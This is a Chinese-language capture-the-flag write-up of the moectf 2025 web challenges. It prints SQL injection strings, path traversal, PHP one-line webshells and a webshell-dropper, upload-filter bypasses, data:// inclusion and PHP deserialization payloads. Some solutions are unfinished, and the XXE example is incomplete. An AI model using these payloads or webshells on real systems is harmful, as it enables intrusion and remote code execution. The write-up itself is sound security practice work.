ctfer

moectf 2025-web write-up

2026-09-05 #omakase#dev

T1-万言启封咒

考察一个f12“元素”标签的使用,更改输入框内文字为txt内容即可

T2-初识金曦玄轨

考察bp等抓包,从模糊文字可知要访问/golden_trail页面,在响应头中即可看到flag

T3-问剑石!篡天改命!

宗门弟子改命,查看源代码可知是用一个POST请求上传level,并用js上传manifest,各自改好POST上去即可

T4-金曦破禁与七绝傀儡阵

  1. 磐石傀儡:get方法传参即可,直接?key=xdsec

  2. 织云傀儡: post方法传参即可,注意不要直接复制(手打一下织云阁=第一

  3. 溯源傀儡:本地访问,更改XFF(X-Forwarded-For)为127.0.0.1即可

  4. 器灵傀儡:使用“moe browser”访问,更改useragent即可

  5. 心印傀儡:“以xt的身份认证user”,注意认证这两个字的含金量,所以加上cookie:user=xt

  6. 前尘傀儡:”从http://panshi/entry来“,更改Referer即可

  7. 逆转傀儡:PUT一个”新生!“上去即可(别忘了感叹号,并且更改Content-Type)

PUT /rebirth HTTP/1.1 Host: 逆转傀儡 Content-Type: text/plain 新生!
关键:使用PUT方法;简单设置Content-Type;在Body中传递一个象征"新生"的信息

T5-打上门来!

别给首页那个破阵的文件骗了……那个是T4的,第一次做顺序放反了,被坑了好久(泣)

…/…/穿越回主目录下即可发现flag

T6-藏经禁制?玄机初探!

mysql绕过登录

用户名字段大概是:

SELECT * FROM users WHERE username=‘$username’ AND password=‘$password’;(变量记得加$,md打不出来)

所以用户名输入admin’ or 1 = 1 # 以注释掉密码,之后密码字段随便填就好

T7-灵蛛探穴与阴阳双生符

”告知搜索引擎爬虫哪些页面可以抓取“,想到robots.txt,访问,发现”Disallow: /flag.php“

访问后发现要求a!=b,且md5值”相等“,想到md5碰撞,网上搜两个传参就好(传参直接跟?就好,不用/)

T8-天衍真言,星图显圣

根据提示,可知考察sql注入,首先尝试admin’ or 1 = 1#,给出回显“Welcome admin”,并未登录

输入预期错误admin’ and 1=2#,显示登陆错误,实锤是sql注入

admin’ order by 3#起报错,说明就user和pwd两列

-1’ union select 1111,2222#,回显1111,说明pwd的字段是黑盒(注意,不要再用admin!!!admin存在就会一直报welcomeadmin,啥也拿不到)

爆库名:-1’ union select database(),2222# ,发现在user库

爆表名:-1’ union select table_name,2222 from information_schema.tables where table_schema = database() #,回显welcome flag

注意:“爆表名”时,where跟的是table_schema,且值写database,不要具体写user(待补充

爆列名:-1’ union select column_name,2222 from information_schema.columns where table_schema = database() and table_name = ‘flag’ #,得到回显welcome value

注意:flag要加双引号(泣),上面的原因也是这个

爆字段:-1’ union select value,2 from flag #,得到flag

T9-星墟禁制·天机问路

看网上wp,说是个SSRF漏洞,明天继续更()

牛魔SSRF😭问了伟大的ds大人,告诉我这是命令注入,可以使用管道符|或者分号;来执行想要的命令

尝试www.baidu.com报错:

1
2
3
4
5
6
7
`;; communications error to 10.43.0.10#53: connection refused`

`;; communications error to 10.43.0.10#53: connection refused`

`;; communications error to 10.43.0.10#53: connection refused`

`;; no servers could be reached`

经查找,有:

  • ;; 是 Linux 下 dig 命令(DNS 查询工具)的专属输出格式。

  • #53 是 DNS 服务的默认端口

可知大概是网址被拼接到nslookup这种系统命令底下,故而可以使用管道符或者分号直接执行后头的命令

T10-天机符阵

试图直接env逃课(),但是返回报错:

1
2
3
4
5
6
7
`<br /><b>Warning</b>: DOMDocument::loadXML(): Start tag expected, '&lt;' not found in Entity, line: 1 in <b>/var/www/html/chapter10.php</b> on line <b>17</b><br />

<阵枢>引魂玉</阵枢>

<解析>未定义</解析>

<输出>未定义</输出>`

注意到后端使用 DOMDocument::loadXML() 解析用户输入,存在典型的 XXE(XML External Entity)漏洞速去helloctf补课

阵枢和输出未定义,这里尝试<输出>test</输出>,发现可以正常得到回显(开心o( ̄▽ ̄)ブ

尝试如下:

1
2
3
<root> 
<输出>&xxe;</输出>
</root>

发现有回显,说明目标确实为linux,且存在 任意文件读取(XXE/LFI) 漏洞。

又因为题目已经提示“文件在flag.txt中”,故用这个漏洞访问file:///var/www/html/flag.txt即可

T11-千机变·破妄之眼

GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入”,故而先使用python生成120个payload,然后bp爆破即可(脚本等下试试

爆破这块有点诡异,不知道怎么回事bp总是不行…改天继续试,这里参考wp先跳过到find.php

访问flag.php被嘲讽🤬

考虑使用filter绕过查看注释:

将./flag.php改为 php://filter/read=convert.base64-encode/resource=./flag.php 即可,解码后可以得到flag

T12-玉魄玄关·破妄

这道题用于学习 蚁剑 的使用,请使用 蚁剑 完成本题

发现后端:

1
2
3
<?php
highlight_file(__FILE__);
@eval($_POST['cmd'])
~~和疯了一样~~,是一段密码cmd的一句话木马,蚁剑直接就连到服务器,env即可 ## T13-通幽关·灵纹诡影 文件上传漏洞,但是只检查了文件的16进制头和后缀名,把上面的一句话木马修改文件头,上传后同T12 ## T14-御神关·补天玉碑 > 省流:Apache有一个特殊文件,是什么呢? W1:由题得,web server是用的apache,而在1,2大版本号的Apache中,会从后往前解析文件类型,直到认识为止,所以可以考虑将那个cmd木马文件名改为**cmd.php.ra**r,从而绕过()你也不过滤我压缩包啊(笑 W2:“禁止上传攻伐符咒(如.php, .php5, .jsp, .asp等邪道术法)”,可知仍然是限制了上传类型,在Apache 服务器启用了 `AllowOverride` 选项,允许 `.htaccess` 文件覆盖默认配置的情况下,可以考虑 .htaccess 解析绕过,从而让特定类型/特定文件以php类型解析(当然,我们假设出题人是善良的):
1
2
3
<Files *.jpg>
ForceType application/x-httpd-php # ForceType是AddType的等价形式,可以据此绕开不完全的关键词屏蔽
</Files>
之后上传cmd.php.jpg即可 ## T15-归真关·竞时净魔 > 符文上传后将进行「重命名净化」,魔气会快速清除违规符文,请把握时机! 可知本题考查条件竞争下的文件上传,又发现: > 图片上传至/uploads 故而可知,访问uploads目录下上传的图片即可,这里使用bp同时无限上传和访问,然后yukuri地用蚁剑连就好了 但是我们尝试用上面的cmd木马,十分钟后无果,询问ds,发现条件竞争还要输密码的话,基本就别想命中了(泣),所以我们改用木马:
1
2
3
4
<?php
fputs(fopen('pass.php','w'),'<?php @eval($_POST['cmd']);?>');
# 不要用phpinfo,它只是个探针,没法蚁剑
?>
用它创建一个pass.php在上传的目录下,并w(write)后面的内容(这种情况apache只会删除你传上来的原文件,pass.php得以保留) 不知道为什么始终不行,明天继续试 ## T16-**昆仑星途** ~~牛魔这段是重写的,typedown什么垃圾编辑器滚一边去吧(ノ`Д)ノ~~ 打开后发现是一段php:
1
2
3
4
<?php
error_reporting(0);
highlight_file(__FILE__);
include($_GET['file'] . ".php");
打开附件的php.ini发现:
1
2
3
[PHP]
allow_url_fopen = On
allow_url_include = On
在这两者都启用的情况下,可以使用data://伪协议,通过文件包含漏洞找flag: 故输入/?file=data://text/plain,,结果牛魔什么都没有,出题人坏🤬

这次尝试ls /,发现一个随机生成的flag文件,cat /flag-一堆.txt即可

T17-星骸迷阵·神念重构

发现php:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}

是个反序列化漏洞利用,unserialize结束时对象自动销毁,会触发__destruct()这个魔术方法,故而构造:

/?a=O:1:“A”:1:{s:1:“a”;s:13:“system(‘env’);”;}即可得到flag,出题人好😋

T18-万卷诡阁·功法连环

打开后发现是一段php,典型的pop链构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);

class PersonA {
private $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}

class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}

}

if(isset($_GET['person'])) {
unserialize($_GET['person']);
}

分析可知:WeakPoint: eval($name)

?person=_TOARUvalue -> unseri ->__wakeup:
将person对象里的name属性提取出来,赋给PA里的name属性,再用name属性调用PB的work()

PB:这个name和上面的不一样,PA的name属性里头还要包括一个name属性,说明PA的name为O,即person为两层
顺便一说分析出来PA的name最里头(即PB的name属性)就是要执行的命令

这里我们构造如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class PersonB
{
public $name;

}

class PersonA
{
public $name; #问我为什么不用private?懒得用魔术方法再整一遍行吧(
}

$b = new PersonB();
$b -> name = 'system("env");'; #别忘了system()后头的分号!!!
$payload = new PersonA();
$payload -> name = $b;
echo (serialize($payload));

之后得到

1
O:7:"PersonA":1:{s:4:"name";O:7:"PersonB":1:{s:4:"name";s:14:"system("env");";}}

将外层的name改成私有属性即可,s:13:“%00PersonA%00name” 注意一个%00只占一个位置

T19-星穹真相·补天归源

笔者看了题半天,感觉要累死了,下午/明天继续

评论
也许会发生一些好事!
分享